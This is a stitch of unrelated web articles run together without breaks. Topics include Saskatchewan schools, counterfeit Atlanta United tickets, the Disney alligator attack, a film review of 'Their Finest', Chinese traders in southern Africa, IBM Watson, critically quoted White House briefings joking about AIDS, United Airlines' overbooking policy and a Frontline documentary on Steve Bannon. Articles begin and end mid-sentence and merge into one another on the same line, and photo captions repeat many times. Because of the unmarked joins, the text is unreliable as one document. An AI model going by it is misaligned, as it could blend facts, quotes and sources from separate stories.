“We have great school populations made up of students from diverse needs and diverse backgrounds in this province,” he said. “In some cases, these needs may be related to gender identification, while in others, it’s based on their cultural identity, religious beliefs or the need to have a private space.”
Connie Bailey, president of the Saskatchewan School Boards Association, said the SSBA would be behind any changes that make classrooms a more accommodating place.
“Any way that we can ensure the learning environments are safe and welcoming to all our students in our schools is a welcome addition,” she said.
The 18 joint-use schools are expected to accommodate up to 11,100 students from pre-kindergarten to Grade 8 in Regina, Saskatoon, Warman and Martensville.
[email protected]
Twitter.com/MorganM_SPATLANTA -- Although Atlanta United has sold out of tickets for their home games and are averaging 50,000 in attendance, this fairytale dream team may have hit a little speed bump.
At least one fan told 11Alive he was excited to see Atlanta United play. But then he learned he was sold fake tickets.
"As we were walking toward the game, we found dome tickets and decided to purchase them," Kyle Hochgertle said. "And it wasn't until we got to the game and actually scanned them that we had the red "x" instead of the green check."
PHOTOS | Atlanta United fake ticket scam
PHOTOS | Atlanta Untied fake ticket scam
Hochgertle and his girlfriend were taken up to ticket services and his tickets were handed over to police. Though the tickets look fairly legitimate the victim said the event code was invalid.
The team is now utilizing cutting edge technology for season and single game tickets to crack down on these fraudulent ticket sales. But there's still some confusion on what makes up a legitimate ticket - something of which some scalpers are taking advantage. Just know that when you do buy from legitimate sites, the transaction will be done through mobile technology utilizing the team's ticket app on iOS or Google platforms.
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"Once we are able to communicate, more and more people, that we are not taking PDFs, we are not taking pieces of paper to come into the facility, more-and-more people hopefully will understand that they need to make sure that they have tickets ahead of time," an Atlanta United spokesperson said.
Season ticket holders will receive gold hard cards - not paper like the fake tickets Hochgertle received.
"We've really done away with all tickets and any ticket that has 'Ticketmaster' on it, it's not going to get entry into the facility," the spokesperson said.
For Hochgertle, it was a lesson learned.
"I will definitely go back," he said. "I think I'll purchase them beforehand - not wait 'til last minute."
Atlanta United is owned and operated by Home Depot's co-founder and Atlanta Falcons owner, Arthur Blank.
PHOTOS | Chicago Fire at Atlanta FC
MLS: Chicago Fire at Atlanta United FC <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p> <p>Atlanta United takes on the Chicago Fire at Bobby Dodd Stadium at Historic Grant Field. Atlanta United FC won 4-0. <em>(© Brett Davis-USA TODAY Sports)</em></p>
PHOTOS | Atlanta United FC Minnesota United FC
MLS: Atlanta United FC at Minnesota United FC Photos by Brace Hemmelgam and Bruce Kluckhohn Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports Photos by Brace Hemmelgam and Bruce Kluckhohn/USA TODAY Sports
PHOTOS | Fans flock to ATLUTD's first gameMy family is having Christmas a little late this year, but I was able to open my Secret Santa box today nonetheless. The first thing I noticed was that whatever it was, it smelled delightful. Upon opening the package I discovered that there were three different handmade soaps that were the source of the sweet scent. Also included was some natural lip balm, a few spiffy bracelets, and an awesometastic slap-watch (ah, nostalgia with a functional twist!)
But my absolute favorite gift in the lot was a handmade robot plush from Abby Snow. I LOVE robots, and this guy is adorable. He will definitely fit right in here.
Accompanying the treasure trove was a card from my Santa. Not quite a Christmas card, but the illustration was way cooler than any card I have received so far this year, In fact I think it's going to have to go on display somewhere. Thanks, Secret Santa! And Merry Christmas!Please enable Javascript to watch this video
LAKE BUENA VISTA, Fla. -- The 2-year-old boy who was grabbed Tuesday night by an alligator near a Walt Disney World resort hotel is believed dead, Orange County Sheriff Jerry Demings said Wednesday. Demings noted that it has been 15 hours since the attack and rescue officials are trying to recover the body.
The boy's family was at movie night outdoors at the Grand Floridian resort when around 9 p.m. the boy waded into about a foot of water in a lagoon, authorities have said. Witnesses, including the boy's horrified parents, tried to save him. His father jumped in and tried to pry the gator's mouth open. His mother jumped in, too.
But it was too late. The child was dragged underwater in the Seven Seas Lagoon, witnesses told authorities. The lagoon is connected to a series of canals that feed into large bodies of water, according to Florida Fish and Wildlife Conservation Commission Executive Director Nick Wiley.
A search began for the boy immediately, with boats from Disney searching along with law enforcement.
By midmorning Wednesday, Disney had closed all beaches in its resort area "out of an abundance of caution" following the attack, a Disney representative said.
Wiley said the child was on the edge of the lagoon when the alligator attacked, according to the boy's family. He cautioned that the investigation is still in an early stage and officials need to interview at least two other families who may have witnessed the attack.
Demings specifically said that the child was "wading... along the lake's edge at the time that the alligator attacked."
Parents rush into water to save son
The father suffered minor scratches on his hand trying to save his son.
"The sad reality of it is it's been several hours, and we're not likely going to recover a live body," Demings said.
He said there is no record of similar incidents in this particular area.
A handful of people witnessed the attack and supplied police with information. Witnesses said the family was on the beach, and the boy's sister was in a playpen about 20 to 30 yards from the water, according to Demings. The toddler was nearby, wading in the water.
There are "No Swimming" signs at the lagoon, and no one else was in the water at the time of the attack besides the child, Demings said.
Declan Salcido, who was vacationing at the resort with relatives from San Jose, California, said the "No Swimming" signs are visible "from any vantage point."
The lagoon is not for recreational swimming.
"This is Florida, and it's not uncommon for alligators to be in bodies of water," Demings said.
Many on social media lambasted the child's parents, while others urged compassion.
Some people said a "No Swimming" sign is hardly sufficient if alligators could be lurking.
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Unusual attack
"Everyone here at the Walt Disney Resort is devastated by this tragic accident," said Jacquee Wahler, a vice president at Walt Disney World Resort. "Our thoughts are with the family. We are helping the family and doing everything we can to assist law enforcement."
Demings said no reports of nuisance alligators have come in the region recently. The alligator is between 4 and 7 feet long, Demings said, adding he's unsure of its exact size.
Jeff Corwin, a noted national animal expert, said he was surprised this happened so close to a highly regulated area but noted there are millions of alligators in Florida. Disney has many thousand acres. An alligator could make its way, undetected through some swamp and marsh into a lagoon near where people congregate.
A gator that size would be unlikely to attack an adult, he said, but a child would be more vulnerable.
When a gator bites down, his jaws snap closed, with thousands of pounds of force, Corwin said. "I can't imagine the terror on these people's minds trying to manage this," he said.
As of April, only one other major alligator attack has been reported this year, according to Florida Fish and Wildlife Conservation Commission. That person survived the attack, but required medical care.
In 2015, there were nine major unprovoked attacks with one
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willing to rehabilitate houses; dealing with neighbors and raw emotions that can sink even small projects with great merit.
Hogan should also acknowledge the work already being done. Since November 2010, when the city's Vacants To Value project started, Baltimore has seen a 35 percent drop in vacant buildings in 24 "community development" areas, according to Paul Graziano, housing commissioner. The city has demolished 1,636 blighted buildings in that time, with another 2,466 renovated or under renovation.
More demolition needs to be done; the city has targeted areas, in some cases whole blocks. But it's expensive. "Demolition is our last resort, not our first, and it will only be undertaken when it is not feasible to renovate," Graziano says.
Opening space for parks sounds enticing, but I also get post-apocalyptic visions of trash-strewn, weed-infested acres where nothing happens for decades. The better strategy is to rehab houses and repopulate neighborhoods, with green pocket parks on vacant lots. And mixed-income housing is essential.
Tell you what, governor: Take a tour with Graziano and his staff, identify a few well-designed, can't-fail projects that have the potential to spur others, then get the money that's needed to kick them off. Do that, and we'll elect you mayor, too.
[email protected]
Dan Rodricks' column runs Wednesday and Sunday. He also will provide online commentary in his Roughly Speaking blog.Movies about making movies rarely connect particularly well with the general cinema-going public. Often caught up in what seem like nonsensical trivialities to most audiences, they always have a job on their hands to convince people that the stakes are actually as high as the characters might think they are. Such problems shouldn’t prove an obstacle to Their Finest, a story of filmmaking that also encompasses the Blitz spirit, full of Britain’s indomitable wartime pluck. It may not be anywhere near as wonderful as, say, Hail Caesar, this year’s best look inside the filmmaking process, but thanks to a storming third act, Their Finest goes down as a very, very pleasant trip to the cinema.
Lone Scherfig’s latest look into the British psyche takes place just after the Dunkirk evacuation, with British morale dropping as early defeat in World War 2 looked more and more likely. To boost spirits and encourage America to join the Allied war effort, the propaganda division commissions an inspiring film with ‘authentic and optimistic’ as their brief. This exact scenario, as depicted in the film, is fictional, but, crucially, it feels believable. Given that the first two thirds of the film sometimes strain credibility with absurdly archetypal characters, this atmosphere of reality is vital in holding your attention.
Gemma Arterton and Bill Nighy get the most fleshed out roles from the off. Arterton is Catrin Cole, our hero for the story and an unsung one in the world of the film, thanks to being both a woman and the screenwriter. She is certainly a proto-feminist character, but this is handled in an interestingly subtle and restrained way, unlike, for example, Sam Claflin as the classic ‘redeemable of-his-time misogynist’. A washed up old ham of an actor doesn’t seem like the most original role to cast Bill Nighy in, but there’s more anger and sadness beneath the surface here than he is often afforded.
Despite some depth to Cole and Ambrose Hilliard (Nighy), the highlights of the first two thirds of the movie are undoubtedly Jake Lacy – as an American fighter ace brought in as an actor to attract US audiences – and a wonderful cameo that I shan’t spoil here. Lacy’s character, Carl Lundbeck, is a dreadful actor, which infuriates the crew and amuses us, but Gaby Chiappe’s script smartly reminds us that he’s the most heroic cast member by far – as soon as the shoot ends, he’s back to the air force.
You feel that perhaps a little more could be made of this, but the final third is so great that it doesn’t matter in the end. For a long while, Their Finest looks like it’s cruising into a 2 star position, but some very bold narrative choices made at the tail end of the second act invigorate the film hugely. These plot points not only give the story a lot more oomph, but raise the game of the dialogue, performances, and direction. Emotionally resonant in their sincerity, the concluding sequences of Their Finest are really great, and the smartest line of the whole film comes in the movie-within-the-movie. What we see of their Dunkirk Miracle story is genuinely good, getting laughs despite not going for the easier comedic choice of having them produce a bad film.
The lead trio of performances are pretty compelling, with even Sam Claflin proving there’s definitely more to him than we’ve seen before. Nighy is, of course, perfectly suited to his role and, when Lacy isn’t on screen, is the best provider of laughs, though Ambrose is not a part without some pathos. Him leading the entire crew in song during a night at the pub is both touching and laugh out loud funny.
Arterton as Catrin is more of a mixed bag. Her non-verbal performance is fantastic, fiery and layered, but her dialogue scenes are slightly muddied by her contending with a very broad Welsh accent. Come the conclusion though, it feels less jarring, ensuring that the final scenes land with the power they need. Given that it ends so strongly, it’s unlikely that anyone will walk out of Their Finest dissatisfied, and this original and lively take on a well-known piece of history will almost certainly find a place in the heart of British audiences.
3/5
Directed by Lone Scherfig
Written by Gaby Chiappe
Starring; Gemma Arterton, Bill Nighy, Sam Claflin
Runtime: 110 mins
Rating: 15
Their Finest does not yet have a UK release dateIn the last decade, Asian migrants have fanned out through southern Africa, opening shops in small towns and rural backwaters. While consumers in countries facing increasing economic hardships have come to depend on their low prices, local shop owners complain they are being forced out of business, pressuring governments to introduce restrictions on foreign traders.
In Malawi, Chinese-owned shops and restaurants have proliferated since the country established diplomatic ties with China in 2007. But the government was recently prompted by bitter complaints from local business owners to introduce legislation preventing foreign traders from operating outside of major cities.
The new law has mainly targeted Chinese traders, many of whom are now being forced to shutter their businesses in rural areas and to apply to the Ministry of Industry and Trade for business licenses to operate in Lilongwe, Blantyre, Mzuzu or Zomba - the country’s four major cities.
“They can operate in rural areas when they are in production and big business, not doing petty trading,” Malawi Minister of Industry and Trade John Bande told IRIN, adding that the government would continue passing legislation that encouraged serious foreign investment “to the benefit of Malawians”.
But human rights groups have described the legislation as xenophobic, and consumers like Arnold Mwenefumbo, from Karonga District in northern Malawi, complain that forcing out the Chinese traders will mean paying much higher prices for products sold by Malawians and other African nations.
“[The Chinese] were also employing our son and daughters,” said Mwenefumbo.
Lesotho
In Lesotho, a tiny land-locked country facing high rates of poverty and unemployment, the relatively recent appearance of thousands of foreign, mostly Chinese-owned, businesses has generated similar resentment from local business owners, but little government intervention.
Before the mid-1990s, Makhabane Theko ran a successful retail business in the capital, Maseru, but now leases his building to the same Chinese traders who he says pushed him out of business. “It’s difficult to compete against the foreign investors, especially the Chinese. You sell 500g of sugar for 8.00 maloti (US$1.4) and they will sell it for a price that is almost half that,” he told IRIN.
Stories like Theko's are common. Although the exact number of Chinese in Lesotho is unknown, estimates range between 10,000 and 20,000, or up to 1 percent of Lesotho’s population of 1.9 million, according to a recent report released by the Brenthurst Foundation. “Business is good here,” said one Chinese trader.
Unlike neighbouring South Africa, which has a long history of Chinese migration and Chinese-run businesses, Lesotho has traditionally been a country of out-migration and has little experience with immigrants. National legislation limits ownership of small businesses to Basotho citizens, but the government has largely turned a blind eye to corrupt practices allowing Chinese migrants to purchase trading licenses or even national identity documents.
“Chinese are now selling makoenya [fat cakes], loose cigarettes, even beer at retail prices, but their business category forbids them from doing so,” said a street vendor who sells cigarettes in Maseru.
Yoon Jung Park, coordinator of the Chinese in Africa/Africans in China (CA/AC) International Research Working Group, has conducted research on perceptions of Chinese in southern Africa. She noted that small countries with struggling economies like Lesotho are seeing funding from Western donors dwindling; many may view Chinese investment as their next best hope. This is reflected in the lack of government action to regulate the proliferation of small Chinese-run businesses.
“I think there’s a link between official ties [with China] and the messages that get filtered down to people, especially in these small countries that are desperate for foreign aid, that the Chinese are the great hope and we need to be nice to them,” she told IRIN.
Many complain that the Chinese add little to the local economy because they send all of their money home, but according to Park, few Chinese migrants in Lesotho send remittances home. Instead, they spend their first two or three years in the country repaying loans, and then they tend to reinvest in their businesses. Most also employ at least one local to interact with customers.
They keep their prices as low as possible by buying from other Chinese (often at a slight discount), forming cooperatives to make bulk purchases and focusing on rapid turnover rather than high profit margins. Rumours that the more unscrupulous also engage in under-handed practices like re-packaging expired food and removing a few ounces from bags of flour and sugar before resealing them may also be true in some cases, said Park.
“Profit margins are so narrow, that they probably do resort to some of those things. And government in Lesotho isn’t doing enough to prevent them,” she commented.
In the run-up to Lesotho’s general elections in June, several political parties indicated their intention to expel foreign traders from the country, but apart from several raids on Chinese supermarkets said to be selling expired meat, no action has been taken to prevent them from operating.
Zambia
Zambia’s open-door investment policy has seen hundreds of Asian migrants setting up businesses in the country in recent years, but locals employed by them complain about low wages.
“Yes, they are giving us jobs, but these are not jobs to help us [improve our lives]. They are jobs to help them make more money. I am paid 350,000 kwacha [US$70] every month, and what can you do with that amount? It is like my salary just goes for transport to come here and go home,” said Melinda Daka, a shop worker in a Chinese-owned business in Kamwala, Lusaka’s upmarket trading area.
“Zambian employers pay much better, but they are very few, and they only employ very few people… So, there is nothing we can do but work for these same people [foreigners].”
In July, the Zambian government increased the monthly minimum wage for shop workers and other general workers, from $80 to $220, but employers are reluctant to pay the new salaries, saying they could make the cost of business unsustainable.
Positive relations
But negative attitudes toward Chinese traders are not uniform throughout the region. In countries such as South Africa and Swaziland, where Chinese migrants arrived several generations ago and now run businesses that fill gaps in the market without competing with locals, relations have remained fairly good.
Park's research in Zimbabwe found that during that country's severe economic crisis, consumers were grateful to Chinese traders for getting goods into the country when no one else could. "They said that if it hadn’t been for them, they wouldn’t have been able to send their kids to school with basic supplies. They helped them survive the crisis," she told IRIN.
However, in countries with struggling economies, the arrival of large numbers of entrepreneurial Chinese migrants combined with a lack of enforcement of laws and regulations have fuelled tense relations with locals.
"Oftentimes, they know it’s not the fault of the Chinese. They respect them for their work ethic, but they’re angry that the government is allowing them to do some of the things they do," said Park.
ks/ms/rc/nm/rzNFL ROOKIE FILM
BRIEF OVERVIEW
The 5’11” speedster out of Washington might be the best in this class when it comes to taking the top off of a defense. Reports are now coming out claiming John Ross ran a 4.30 with laser timing. He also has been clocked in the 4.2s while at Washington on numerous occasions. He really knows how to use his speed to create separation and stress out coverage. His footwork can be looked at as some of the best in this class. There may be some character concerns but it seems like it might just be his competitive spirit showing up on the sidelines. Another concern is his size, lack of play strength, and he struggled against tough defensive back competition. Ross could be the first wide receiver off the board in the NFL draft and might be a boom-bust candidate for fantasy football purposes.
NUMBERS
YR REC YDS TD 2013 16 208 1 2014 17 371 4 2016 81 1150 17
METRICSIBM's Watson will use data from social media feeds, advice from friends, moods, and previous outfit decisions to help people choose what clothes to wear, according to IBM's global retail transformation leader for Watson, Keith Mercier.
Image: IBM
IBM is seeking to commercialise its Watson cognitive computing platform outside of its traditional areas of healthcare and medical research into new fields such as retail and call centres.
In July, IBM and Apple signed a deal that would see the two companies collaborate on a number of apps targeting retail, healthcare, banking, travel, transportation, telecommunications, and insurance industries.
Mercier, who was in Australia this week for Melbourne Spring Fashion Week, spoke at an industry event on Monday designed to encourage retailers to begin looking at how mobile applications could use Watson to assist customers in choosing clothes.
The company released the results of a survey in early August indicating that customers in Australia are now expecting to deal with retailers both online and in-store, and retailers should be able to transfer interactions with customers from online to in-store, and vice versa.
Mercier told ZDNet that an ideal application that retailers would use would allow a customer to tell Watson what sort of mood they are in, and Watson would be able to choose an outfit based on that information, along with other data pulled from social media and other sources.
"If you know the places where consumers are getting data today, when it comes to shopping, it is weather, it is inspiration from social, it might be what is in my closet, it might be my purchase history. You could use Watson in other technologies to bring all those together, and then have that dialogue around the data," he said.
But Watson wouldn't be the fashion guru making the final decision on what you wear, Mercier said.
"When I say Watson gives you an answer, I mean it in terms of advising you. Ultimately, you are the one to decide what you wear."
He said that when IBM works with retailers on apps using Watson, the company seeks to discover what data the retailers are trying to use, and then what questions they would want asked in order to make the best use of that data in Watson.
"Only then do we start to plug in and then train Watson on the types of questions, and the types of answers we would expect. It doesn't have a mind of its own; it's a closed-loop system that way. It only knows what you teach it," he said.
For retailers that may deliberately not give Watson all the information to present to customers, Mercier said customers would ultimately know better.
"Businesses are going to do business the way they want. I think what we're seeing is that consumers are smart. I would hope the best implementation [of Watson] would be an authentic one, where you're using Watson to pool in not only what we want you to hear from us, but potentially what you might go out and do on your own anyway," he said.
"So maybe, if we support that behaviour because we're giving you the capability, it might actually build more trust for you in our brand.
"But you could train Watson to do what you want to do, and set business rules around what you push; that's no different from what businesses do today."
Josh Taylor travelled to Melbourne as a guest of IBM.Looking for news you can trust?
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Today is World AIDS Day. Mother Jones’ Gabrielle Canon has a heartbreaking story about the first AIDS hospice center. (Get tissues ready.) Reading it reminded me of another first: The first time a reporter asked the White House about AIDS.
Via Jon Cohen’s Shots in the Dark: The Wayward Search for an AIDS Vaccine, here is the transcript from the White House press briefing on October 15, 1982, the first time Reagan press secretary Larry Speakes fielded a question about AIDS.
October 15, 1982:
Q: Larry, does the President have any reaction to the announcement—the Centers for Disease Control in Atlanta, that AIDS is now an epidemic and have over 600 cases?
MR. SPEAKES: What’s AIDS?
Q: Over a third of them have died. It’s known as “gay plague.” (Laughter.) No, it is. I mean it’s a pretty serious thing that one in every three people that get this have died. And I wondered if the President is aware of it?
MR. SPEAKES: I don’t have it. Do you? (Laughter.)
Q: No, I don’t.
MR. SPEAKES: You didn’t answer my question.
Q: Well, I just wondered, does the President—
MR. SPEAKES: How do you know? (Laughter.)
Q: In other words, the White House looks on this as a great joke?
MR. SPEAKES: No, I don’t know anything about it, Lester.
Q: Does the President, does anybody in the White House know about this epidemic, Larry?
MR. SPEAKES: I don’t think so. I don’t think there’s been any—
Q: Nobody knows?
MR. SPEAKES: There has been no personal experience here, Lester.
Q: No, I mean, I thought you were keeping—
MR. SPEAKES: I checked thoroughly with Dr. Ruge this morning and he’s had no—(laughter)—no patients suffering from AIDS or whatever it is.
Q: The President doesn’t have gay plague, is that what you’re saying or what?
MR. SPEAKES: No, I didn’t say that.
Q: Didn’t say that?
MR. SPEAKES: I thought I heard you on the State Department over there. Why didn’t you stay there? (Laughter.)
Q: Because I love you, Larry, that’s why. (Laughter.)
MR. SPEAKES: Oh, I see. Just don’t put it in those terms, Lester. (Laughter.)
Q: Oh, I retract that.
MR. SPEAKES: I hope so.
Q: It’s too late.
They still thought it was pretty funny a year later: June 13, 1983:
Q: Larry, does the President think that it might help if he suggested that the gays cut down on their “cruising”? (Laughter.) What? I didn’t hear your answer, Larry.
MR. SPEAKES: I just was acknowledging your interest—
Q: You were acknowledging but—
MR. SPEAKES: —interest in this subject.
Q: —you don’t think that it would help if the gays cut down on their cruising—it would help AIDS?
MR. SPEAKES: We are researching it. If we come up with any research that sheds some light on whether gays should cruise or not cruise, we’ll make it available to you. (Laughter.)
Q: Back to fairy tales.
The laughs just kept on coming: December 11, 1984:
MR. SPEAKES: Lester’s beginning to circle now. He’s moving in front. (Laughter.) Go ahead.
Q: Since the Center for Disease Control in Atlanta—(laughter)—reports—
MR. SPEAKES: This is going to be an AIDS question.
Q: —that an estimated—
MR. SPEAKES: You were close.
Q: Well, look, could I ask the question, Larry?
MR. SPEAKES: You were close.
Q: An estimated 300,000 people have been exposed to AIDS, which can be transmitted through saliva. Will the President, as Commander-in-Chief, take steps to protect Armed Forces food and medical services from AIDS patients or those who run the risk of spreading AIDS in the same manner that they forbid typhoid fever people from being involved in the health or food services?
MR. SPEAKES: I don’t know.
Q: Could you—Is the President concerned about this subject, Larry—
MR. SPEAKES: I haven’t heard him express—
Q: —that seems to have evoked so much jocular—
MR. SPEAKES:—concern.
Q: —reaction here? I—you know—
Q: It isn’t only the jocks, Lester.
Q: Has he sworn off water faucets—
Q: No, but, I mean, is he going to do anything, Larry?
MR. SPEAKES: Lester, I have not heard him express anything on it. Sorry.
Q: You mean he has no—expressed no opinion about this epidemic?
MR. SPEAKES: No, but I must confess I haven’t asked him about it. (Laughter.)
Q: Would you ask him Larry?
MR. SPEAKES: Have you been checked? (Laughter.)
Now go read Gabrielle’s story about what it was they all found so funny.US carrier announces shakeup of booking policy after outrage over forcible removal of passenger
United Airlines to offer up to $10,000 for passengers to give up seats
United Airlines will offer passengers up to $10,000 (£7,700) for giving up their seats on overbooked flights, as part of efforts to repair the damage to its reputation after widespread condemnation over the forcible removal of a passenger.
An inquiry was launched after footage recorded by passengers at Chicago O’Hare airport and watched by millions globally showed David Dao, 69, being yanked from his seat on a Louisville-bound flight to make room for crew.
According to his lawyer, Dao lost two front teeth, incurred concussion and broke his nose. The Vietnamese American physician found the experience “more horrifying and harrowing” than the fall of Saigon, his lawyer said.
Play Video 0:46 United Airlines passenger forcibly removed from overbooked flight – video
On Wednesday, United’s reputation suffered another blow after a potentially record-breaking giant rabbit died in its care. The 3ft (90cm) animal, called Simon, was found dead in the cargo hold when the flight arrived at O’Hare airport from London Heathrow, and an investigation has since been launched.
The offer of increased compensation came after rival Delta outlined plans to offer up to $9,950 in such cases.
United said it would “increase customer compensation incentives for voluntary denied boarding up to $10,000”, and also promised action to reduce overbooking and improve customer satisfaction.
“Our goal is to reduce incidents of involuntary denial of boarding to as close to zero as possible and become a more customer-focused airline,” the carrier said.
United also said it would no longer call police to stop passengers boarding, nor would passengers who were seated be required to give up their place on overbooked flights.
Crews would be booked on flights 60 minutes before departure, and staff would undergo annual training to handle “the most difficult situations”, an inquiry report said.
United will also adopt a “no questions asked” policy on permanently lost baggage from June, paying customers $1,500 for the value of the bag and its contents.
United Airlines'saddened' by death of giant rabbit after transatlantic flight Read more
United typically oversells flights by less than 3% of the plane’s seat capacity to account for no-shows.
The company’s chief executive, Oscar Munoz, who took the helm in 2015 as part of an effort to improve customer relations, faced calls to step down after referring to Dao as “disruptive and belligerent” in a statement following the incident.
“This is a turning point for all of us at United,” Munoz said on Thursday.
In an interview with the US radio show Marketplace, Munoz said: “We had a serious breach of public trust, and again, we continue to be profoundly sorry and apologise to everyone involved. What happened is we let our procedures and policies get in the way of common sense and doing the right thing.”
He also discussed his “awful choice of words”, which he said “did not adequately respond to the gravity of the situation”.
Munoz added: “I watched that video. My gut instinct told me to do something different but I messed up, and I’ve taken full accountability for that. In hindsight, I think about it every day and how we should have responded better.”
Dao’s ejection sparked a national conversation on airlines’ treatment of customers in an industry that comprises just a handful of competitors after years of mergers and consolidations.
United announced last week that Munoz, in a move he initiated, would not become company chair in 2018 as stated in his employment agreement.
Airlines have not formally disclosed their compensation amounts. Aviation law requires them to pay passengers who are bumped from flights no more than 400% of the value of the ticket, with a maximum of $1,350, but occasionally they offer more than that.
According to MileCards.com, the average compensation paid to passengers bumped from flights in the US in 2016 ranged from $655 (Spirit Airlines) to $1,981 (Alaska Airlines). The average paid by Delta was $1,131 and by United $573.
“Sometimes you’re just desperate to find the passengers who agree to be bumped, like United should have been,” Brett Snyder, a former airline executive, told CNN. “It would have saved them a lot of money if they had offered more.”There may be no figure more polarizing, frightening and bewildering than White House chief strategist Steve Bannon, a man who makes George W. Bush’s former chief of staff, Karl Rove, seem about as harmful as a zit. If this comparison seems facetious, chalk it up to the aftereffects of watching “Bannon’s War,” documentarian Michael Kirk’s latest effort for “Frontline” that premiers Tuesday at 10 p.m. on PBS member stations and online.
Nothing in this “Frontline” version of Bannon's biography affords a glimpse of humanity or warmth in the man, and perhaps that is for the best. Instead “Bannon’s War” shows its subject as the polarizing, intelligent and power-driven figure that he is.
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[salon_video id="14770699"]
In “Frontline” fashion, it does this without explicitly saying so. Former Breitbart News employees, journalists from The Washington Post, The Boston Globe, The New York Times and The New Yorker, as well as Bannon’s former writing partner and ex-friend Julia Jones are among the interviewees who build a case that invites people to come to that conclusion themselves.
That is, assuming the viewer isn’t a ticket holder on the Trump Express.
How fairly “Frontline” treats Bannon and whether this Kirk-directed episode is terrifying or validating is matter of perspective. Kirk and his co-writer Michael Wiser tacitly acknowledge this in the cold open before the credits roll by returning to the furor surrounding Donald Trump’s signing of the first executive order barring the U.S. entry of travelers from predominately Muslim countries. To those resisting Trump’s agenda, the 9th Circuit Court’s halt on the executive order was seen as their first victory.
Bannon also viewed this protest spike as proof that “shock and awe” tactics could win, in that it sent a signal to Trump’s base that the president wasn’t merely spouting xenophobic and racist rhetoric on the campaign trail to get their vote. “Bannon thinks, ‘This is great. We’re killing it. We’re winning. We’re doing everything that we said we would,’” former Breitbart spokesman Kurt Bardella says in the film. “‘We are beating down the establishment and the liberals into submission. We are literally making America great again.’”
Kirk’s list of Frontline projects includes the quadrennial election specials known as “The Choice” as well as the two-night, four-hour miniseries “Divided States of America” that debuted 48 hours before Trump’s inauguration.
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“Bannon’s War” feels frugal in comparison to these efforts, clocking in at just under 55 minutes. But the installment moves with efficient speed as well, spending minimal time chronicling Bannon’s early years and affording a relatively slender view of his tenure on Wall Street and in Hollywood, where he built his personal wealth.
Much has been written about Bannon’s early obsession with warfare and nationalist foreign policy. Kirk and Wiser’s script doesn’t dive into this aspect of the man, choosing instead to devote the bulk of the show to illustrating the ways he applied this personal paradigm to shape Breitbart News into a propaganda machine for the far right.
Here is where the “Frontline” episode energizes its premise — as it talks about the bombastic Andrew Breitbart joining forces with “bookish Bannon,” showing archival footage of the two cavorting in front of a frat house with Breitbart bragging about past exploits.
Bannon infused the site with funds from wealthy conservatives such as the Mercer family, and after Andrew Breitbart's death Bannon went on to use the site to promote the agenda of Citizens United chairman David Bossie and boost the careers of then-senator Jeff Sessions and Sessions' former communications director Stephen Miller.
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But it was only when Donald Trump emerged to run for president that Bannon saw what one interviewee termed as a "vehicle for his perspectives." Those views crystallized in Trump’s inauguration speech which, as Jones observes, may have been in the president’s hands but was pure Bannon. “The line about carnage in America, I think that was Steve,” she says. “Every now and again I hear things and I go, 'OK, that’s Steve.'”
“Bannon’s War” adheres to the “Frontline” model of lining up recent coverage to recapitulate what we already know in a linear pass. Here the element of what we may not realize may be even more important. By training its focus on the strategy that goes into creating the barrage of frightening headlines, the hour provides a cogent glimpse at Bannon’s scorched-earth philosophy.
“There’s an almost fetishistic desire to blow everything up,” says Washington Post film critic Ann Hornaday, referring to Bannon’s post-9/11 Ronald Reagan film “In the Face of Evil,” which she also describes as “apocalyptic” and “febrile.”
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“Bannon’s War” is not without its frustrations, but a portion of that can’t be helped by Kirk or Wiser. Specifically former Breitbart staffer Bardella and former editor-at-large Ben Shapiro simultaneously lend crucial insight into Bannon’s thought process while taking stances that smack of disingenuousness.
Referring to his decision to quit Breitbart News in 2016 as did several other longtime staffers, Shapiro explains, “When a news outlet decides that it is more important to maintain close ties with a particular candidate or politician than it is to maintain the integrity of their journalists, that’s no longer a journalistic organization. It is a propaganda platform.”
This only makes sense if one views most of what Breitbart did before, including its friendly coverage of certain Republican politicians and lobbying organizations and vilification of minorities and civil rights organizations, as being something other than propaganda.
